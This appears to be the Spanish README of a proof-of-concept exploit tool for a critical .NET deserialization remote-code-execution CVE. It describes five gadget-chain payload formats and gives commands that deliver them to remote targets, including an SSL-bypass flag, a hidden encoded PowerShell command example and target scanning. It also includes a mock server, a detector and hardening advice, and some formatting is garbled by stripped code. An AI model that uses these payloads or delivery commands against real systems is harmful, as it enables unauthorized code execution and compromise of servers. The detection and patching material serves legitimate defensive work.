Genera cinco formatos de payload de deserialización .NET para CVE-2026-56158, los entrega a través de endpoints HTTP/SOAP/JSON, e incluye servidor mock, escáner y salida de informes JSON.
Crítico (CVSS 9.8) — Deserialización de datos no confiables (CWE-502) en Microsoft .NET Framework y .NET Runtime Parcheado: 14 de julio de 2026 | Atribuido a: Positive Technologies (PT-2026-60174)
CVE-2026-56158 es una vulnerabilidad crítica de ejecución remota de código en Microsoft .NET Framework y en el runtime de .NET. La falla reside en la deserialización insegura de datos no confiables (CWE-502): cuando una aplicación .NET utiliza serializadores heredados (, , , ) o Json.NET con , un atacante remoto no autenticado puede entregar una carga útil serializada manipulada que desencadena la ejecución de código arbitrario al deserializarla.
BinaryFormatterNetDataContractSerializerSoapFormatterObjectStateFormatterTypeNameHandling.All/AutoLa vulnerabilidad tiene una puntuación base CVSS 3.1 de 9.8 (Crítico) con el vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, lo que significa:
Microsoft publicó actualizaciones de seguridad el 14 de julio de 2026 como parte del ciclo mensual de Patch Tuesday.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-56158 |
| Título | Vulnerabilidad de ejecución remota de código en .NET Framework |
| CVSS 3.1 | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 Alto (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502 (Deserialización de datos no confiables) |
| Publicación | 14 de julio de 2026 |
| Parche | 14 de julio de 2026 |
| Descubridor | Positive Technologies (PT-2026-60174) |
| EPSS | Aún sin puntuación |
| CISA KEV | No incluida |
Los serializadores heredados del runtime de .NET reconstruyen tipos de objetos arbitrarios a partir de flujos serializados sin validar el tipo ni el contenido. Cuando un atacante controla la entrada serializada, puede dirigir al deserializador para que cree instancias de tipos inesperados cuyos constructores, callbacks o setters de propiedades ejecuten código arbitrario: un ataque clásico de cadena de gadgets de deserialización.
La vulnerabilidad afecta a múltiples mecanismos de serialización:
TypeConfuseDelegate delega en Process.StartProcessStartInfo incrustado en el cuerpo SOAPProcess.Start mediante el campo ViewState$type cuando TypeNameHandling.All/Auto está habilitado; el gadget ObjectDataProvider llama a Process.Start| Producto | Rango vulnerable | Versión corregida | Artículo de KB |
|---|---|---|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | Todos los anteriores al parche | Parcheado | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | Todos los anteriores al parche | Parcheado | KB5100991 |
| .NET Framework 4.8 | Todos los anteriores al parche | Parcheado | KB5101011 |
| .NET Framework 4.8.1 | Todos los anteriores al parche | Parcheado | KB5101002 |
| Visual Studio 2022 (17.12) | Anterior al parche | 17.12.x | — |
| Visual Studio 2022 (17.14) | Anterior al parche | 17.14.x | — |
| Visual Studio 2026 (18.7) | Anterior al parche | 18.7.x | — |
Paquetes de Alpine Linux:
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0Este exploit PoC genera y entrega cargas útiles mediante 5 formatos diferentes de ataque por deserialización:
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream o text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATE de HTTP POSTJSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$typeapplication/jsonTypeNameHandling.All o Auto┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
endCVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
Genera los 5 formatos de carga útil con el comando predeterminado (calc.exe):
python3 exploit.py
Salida:
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
Genera con un comando personalizado:
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
Inicia el servidor .NET vulnerable simulado integrado y entrega todas las cargas útiles:
python3 exploit.py --listen
Esto hará lo siguiente:
Salida esperada:
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
Puerto personalizado:
python3 exploit.py --listen --port 8080
Guarda un formato de carga útil específico en un archivo para su entrega manual:
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
Entrega todas las cargas útiles a un objetivo .NET remoto:
python3 exploit.py -u http://target:8080 -c "calc.exe"
Con bypass del certificado SSL:
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
Escanea un objetivo para detectar la versión de .NET, endpoints de deserialización y problemas de ViewState:
python3 exploit.py -u http://target:8080 --scan
Esto comprueba:
X-AspNet-Version, X-Powered-By)/api/deserialize, /Service.svc, etc.)Genera un informe JSON con todos los detalles de la explotación:
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
El informe incluye:
python3 test_exploit.py
Las pruebas cubren:
python3 e2e_test.py
Las pruebas cubren:
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
Ejecuta el comprobador de detección para identificar instalaciones de .NET vulnerables:
python3 detect.py
Escanea el código fuente en busca de patrones de deserialización insegura:
python3 detect.py /path/to/source/code
El detector comprueba:
dotnet --list-runtimes)BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.DeserializeBinaryFormatter por System.Text.Json o DataContractSerializer con enlace estricto de tiposSerializationBinder cuando se requieran serializadores heredadosSwitch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac y ViewStateEncryptionTypeNameHandling.All/Auto; usa TypeNameHandling.NoneSoapFormatter y NetDataContractSerializer para entradas no confiablesdotnet.exe, devenv.exe o procesos host de .NET personalizadosEste exploit de prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Utiliza esta herramienta solo contra sistemas que poseas o para los que tengas autorización explícita por escrito. El uso no autorizado contra sistemas que no posees es ilegal y puede violar las leyes de fraude y abuso informático.
Los autores y colaboradores no son responsables de ningún uso indebido ni de los daños causados por este software.
Licencia MIT — consulta el archivo LICENSE para obtener más detalles.